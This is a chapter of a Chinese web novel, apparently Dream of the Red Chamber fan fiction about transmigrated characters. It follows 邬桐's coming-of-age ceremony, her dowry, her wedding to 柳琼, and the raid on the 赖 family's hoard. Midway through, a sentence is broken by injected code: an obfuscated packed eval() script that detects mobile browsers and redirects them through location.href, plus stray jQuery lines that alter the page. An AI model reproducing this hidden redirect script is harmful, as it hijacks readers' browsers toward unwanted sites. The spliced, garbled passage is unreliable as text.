米花白 作品

21.成亲

“妹妹,这是一万两银票,麻烦帮着送给大丫头。哎,大丫头命苦,麻烦宝丫头好歹看顾着些。”王夫人将一个小木匣推给薛姨妈,陪笑道。


时移世易,往年,薛姨妈带着一大家子借住国公府,时时看人脸色。如今女儿一朝得势,姐姐立马靠了过来。薛姨妈心内冷笑,面上却嗔怪道:“姐姐这是做什么,好歹在国公府住过大半年的,这点儿情谊宝丫头还是有的。只是姐姐也知道,你这一万两,能有两千两到了大丫头手里,都是老天爷保佑了。那上下打点的太监执事可不少。”


“那是自然,妹妹只管打点就是。”王夫人苦笑。这两年,为了让宫里的元春能有钱使,她又寻错处发落了几个奴才。可每次银子还没焐热,元春那里就派人传话要银子,老爷又时常要办文会诗会的,清客也越养越多,如今家里哪里还有那么些银子使。


从薛家出来,王夫人心里发狠,如今能做文章的,只有探春和惜春的婚事,以及赖家了。小管事哪里有油水,赖家才是最大的蛀虫。


这边王夫人算计着要抄赖家,林家却忙着准备邬桐的及笄礼和嫁妆。那日求亲后,柳琼着急忙慌地请了官媒登门,纳彩、问名、纳吉一套下来,亲事就算是定了。


及笄礼在即,之后的流程得为及笄礼让路。作为致仕的一品大员子女,林如海特意请了忠顺王妃做正宾,黛玉做赞礼,赞者特意选了惜春,探春观礼。贾家作为外祖家,怎么也得有人参加仪式的,而探春是庶出,最合适的就是惜春了。


邬桐还特意邀请了柳琼的妹妹四姐儿观礼,小丫头也有八岁了,虽还是个孩童模样,却一看就是个美人胚子。


王熙凤不请自来,等及笄礼结束后,拉着邬桐到一侧,小声道:“我今日做了恶客,是有事找你,好歹在府里住过一段儿,救救探春和惜春两个吧。太太想把她们嫁给商户呢,竟是谁出的银子多就嫁谁,你说这可如何使得。”


邬桐有些吃惊,开口道:“这怎么话说的,她俩好歹是国公府的小姐,怎么会嫁商户?”


王熙凤叹口气,脸色有些难看。她也有自己的私心,探春和惜春好歹是国公府上一辈儿的小姐,要是嫁了商户,她女儿可怎么办?因此她才是比谁都着急呢。


而且迎春的事到底让她存了疑心,这两年王熙凤越看王夫人的行事,越觉心凉。虽还管着事儿,却不再像之前那么上心。


兼贾琏在外面听到风声,贾蔷死的不明不白,贾珍又闹腾着分宗,他虽然瞧不明白,但也不敢再四处蹦跶。两口子竟是渐渐龟缩,不想管事了一般。


“这几年家里的银子都送进了宫里。太太和老太太着了魔,认定了娘娘将来有大出息。可宫里是那么好送银子的?上上下下地打点,一万两进去,能有三千两到娘娘的手里就谢天谢地了。如今没地方弄银子,太太这才想了这么个主意。”


这是不想放手啊。花了那么多进去,没有个结果,谁都不甘心。邬桐想了想,沉吟道:“探春那里,还得赵姨娘出马。你别急,赵姨娘虽然上不了台面,但好歹是探春的亲娘,就算是为了将来有人照应环儿,也断不会害她。我帮着在外面打探打探,找几个靠谱的商户,怎么做就得看赵姨娘的了。不过你也知道,我毕竟是外姓人,没办法直接让太太改变主意的。你也可以找找迎春,她如今是暇郡王妃,又和探春惜春一起长大,情份自是我不能比的,多少能帮着说说话。”


“迎春那里......我找时间去看看。太上皇那边,林大人......能不能给娘娘说些好话?”王熙凤犹豫道。


“糊涂,哪有公公管儿媳妇的事的,而且说难听点,元春现在连妾室都算不上,怎么管。”邬桐瞧王熙凤几眼,不知道她今日是来为二春说话的,还是为元春做说客的。


王熙凤尴尬地笑笑,不再多言。就是她,不也希望娘娘能真受宠吗?虽然她是大房的,迎春这个暇郡王妃的光也能沾,可那继婆婆的气,她还真不想受。


毕竟是书里难得的女强人,邬桐沉思片刻,低声耳语道:“要是缺钱,赖家你们想想办法。我就不信,原来太太发作那么多管事,你就没想法?那些小耗子加起来,恐怕都没有赖家这个大硕鼠肥。就是探春惜春的嫁妆加起来,只怕也没有抄赖家来的钱多。”


王熙凤唬了一跳,犹自不敢置信:“赖家真那般豪富?”


邬桐白眼儿翻她:“你以为呢?那花园子,比你家的也不差多少了。你们是贵人,贵脚不踏贱地,可多少贾家族人都去过的,你稍微一打听就知道了。现在外面都传遍了,说是荣国公府里二百两的差事,在外面五十两就能办,其他一百五十两可都是管事的。你想想这些年赖家办过多少事。当家这么多年,这点账算不出来?你和琏二哥哥合计合计,抄赖家少不了你们的好处。”


王熙凤捂着胸口,眼睛越来越亮,最后干脆一甩帕子,扬声道:“你就瞧好吧,我走了。”说完急匆匆地离开,不见半分刚才的尴尬。


邬桐摇头失笑,王熙凤就是王熙凤,永远风风火火。


及笄礼后,柳琼顺利考中了举人,之后下聘礼、订婚期,忙忙碌碌地,不出一年,成亲的日子就到眼跟前儿了。


出嫁前,林如海特意将几个孩子聚在一起,指着嫁妆单子道:“桐姐儿是林家长女,嫁妆在出生时就备着了,嫁妆单子桐姐儿拿去看看,有什么缺的只管让林管家去买,他那里我放了一万两银子,专管这个事。”


虽入了林家的门,邬桐没想到,林如海准备的嫁妆如此丰厚。江南一千亩的大庄子五个,京郊五百亩的小庄子两个,另有通州的瓷器铺子和金银首饰铺子,字画古董瓷器无数,压箱底的银子两万两,就连马桶和挖耳勺都有。这两个有什么特别的呢?因为木头珍贵,是紫檀的。真是,怪道总是说富过三代才能出贵族。


黛玉是见过迎春出嫁的嫁妆的,永兴帝都那么暗示了,贾家也没给迎春陪嫁多少。看着丰厚,八十八抬,要论实惠,还是邬桐的嫁妆更实惠。她不住地点头,还给邬桐添妆:“我那里的青花汝窑笔洗,姐姐是极喜欢的,送给姐姐添妆吧。”


私下里,林如海和三人是这么说的:“别怪嫁妆减薄,黛玉是我唯一的骨血,大头自是要给黛玉的......”


邬杨见林如海说得郑重,急忙道:“爹,我们三人虽姓林,但事情如何我们知道。我虽没什么本事,养家还是能的。当初多亏爹爹护持......”


“哥。”邬桐笑着插话,再说下去就伤感情了,“爹,您放心,我们一辈子都姓林。黛玉妹妹我们会护着的,这个您不用多心。”


林如海再看看眼前的三人,当初突然出现在他面前,脸庞还是稚嫩的,镇定中多少带着些惶恐。他因着先帝,护了他们三年。如今出落成大小伙子大姑娘了,也处出了感情,不觉红了眼眶,真的有了嫁女儿的心酸:“嫁过去了要好好的,人是你自己选的,要知道珍惜。不过要是他给你气受了,只管回来,他虽是女婿,也还是我徒弟呢。女婿不好多管,徒弟可得听话,在婆家不用小心翼翼,明白吗?”


邬桐一个劲儿点头,好不容易送走了突然多愁善感起来的林如海。等只剩兄妹三人了,邬杨才掏出一个小木匣,递给邬桐:“这是五千两银子,不多,哥这两年写了两本应举的书,就得了这么些银子,不放到嫁妆里了,你悄悄地收起来,以后有什么急事银子不凑手了,再拿出来用。”


知道这是做哥哥的一份心意,邬桐也没推辞,刚要说两句感谢的话,一旁的邬柏脸有些红,从袖子里掏出一对儿金钗,不好意思地道:“姐,我没什么钱。这是我用月钱打的,你收着。”


又是不能推的,不定省了多长时间才得的,邬桐心里沉甸甸的。末世从没体验过的亲情,这辈子都有了,老天待她和柳琼


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15176127|163788||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


不薄。


出嫁前一日,晒嫁妆时,贾家两府、薛家、贾家族人等都添了妆,贾家两府给了两台金银玩器,薛家是一台官造的瓷器,贾家族人合力出了一台上造的绸缎,都算是不错的添妆。


上辈子,末世来临前,邬桐和柳琼只扯了证,并没有举办婚礼。如今身着大红的嫁衣,由大哥邬杨背着出房门时,黛玉扶着门框,哭得快昏死过去。邬桐无法,拍拍大哥的肩:“我去跟黛玉说说话。”


这两年,两人同进同出,山脚下的小镇、山上的寺庙,就是行宫都去过几次,以后就要分离了,邬桐心里也怪不好受的:“再哭我可就不理你了。以后想去哪里玩,只管去找我。”


黛玉只不住地点头,邬桐揉揉她的黑发,狠狠心让邬杨背着离开了。


能够娶一品大员之女,刘氏自是高兴地合不拢嘴。外祖家更是全员出动,都来贾家新买的宅子里帮忙,关系近的族人们也都带着礼物上门,吵吵嚷嚷,热闹非常。


外院摆满了圆桌,四海楼八两八的席面五十桌,看着还似不够坐一般。


傍晚,新娘子被接到贾家新宅,炮竹声中,三拜九叩,今生又结为夫妻。


有表哥刘衡和他那一帮子兄弟,柳琼不用怎么应付酒宴,很顺利就入了洞房。躺在婚床上长叹一声:“终于可以睡个安稳觉了。贾家的事以后咱们就不管了,管得也够多的了,再管就过了。成亲后就过咱们自己的日子。老天给了这么大的机缘,咱们怎么也得做些事情,是不是?不然不是白白糟蹋了。”


邬桐起身,想到上次人贩子的事,谨慎地问道:“你想做什么?怎么做?”


柳琼自是有打算的,嘿嘿笑两声,双手一伸,将一身红衣的邬桐搂进怀里,“京城高官显贵云集,咱们摆布不开。你说科举后我外放怎么样?最好回南边粤海那一带,类似古中华的海南岛,如今应该叫琼州岛,那一片可是天高皇帝远的,就是来个工业革命,以如今信息传播的速度,只怕过上一两年京城才知道呢。”


柳琼越说越兴奋,坐起来沉声道:“我空间里可有很多机器,还有热武器的制作方法,做出来不成问题。咱们不妨学学穿越前辈,办工厂,航海,说不定还能占个小岛,那样的日子才是真正的逍遥呢。”


“你想破海禁?”


“对。”柳琼双眼发光,“古中华就是海禁给害的。科举后我就去谋个琼州岛的官儿,咱们去上任,改良海船,开发海岛。你不是想躺平嘛,现在可是最无污染的时代了,想想海南岛的海鲜和水果,咱们也得去啊。”


邬桐也被说得向往起来:“你只管去做,我都支持你。反正这一辈子是赚来的,只是别玩脱了,古代人可不傻。”


“放心。”柳琼伸手搂过邬桐,将被子往上拉了拉,“睡吧,过几年,爷带你去琼州岛。”


婚礼过后没几天,五婶子就来寻刘氏说话,邬桐作为新媳妇自然要上茶招待。


堂屋里,五婶子也不拘束,抓起两把琥珀核桃,巴巴说着这两日的新鲜事:“哎呀,你不知道,政老爷带着琏二爷,把赖家抄了!听说光金子就抄出来八千两,白银少说也有十万两,还有什么古董、字画成十箱子。你猜怎么着,竟是府里往年给各王府的年礼!也不知道赖家怎么这般大胆。听说老太太晕死过去两回,闹着回金陵老家赎罪呢。”


刘氏捂着胸口,眼睛睁得老大,半晌说不出话。见屋里没别人,五婶子开口没多久,屋里的下人就被邬桐都赶出去了,刘氏才开口道:“赖家就是再精明,贪那么多去,怎么就没人察觉呢。”


五婶子见没外人,也没了顾忌,撇撇嘴:“谁敢管!那可是老太太的陪房。你说,前两年去磕头,还觉得老太太是老神仙呢。没想到这两年竟糊涂至此,这是年纪大了吧。”


两人越挨越近,低声说小话,邬桐笑笑,又给各自倒了热茶,悄悄退了出去。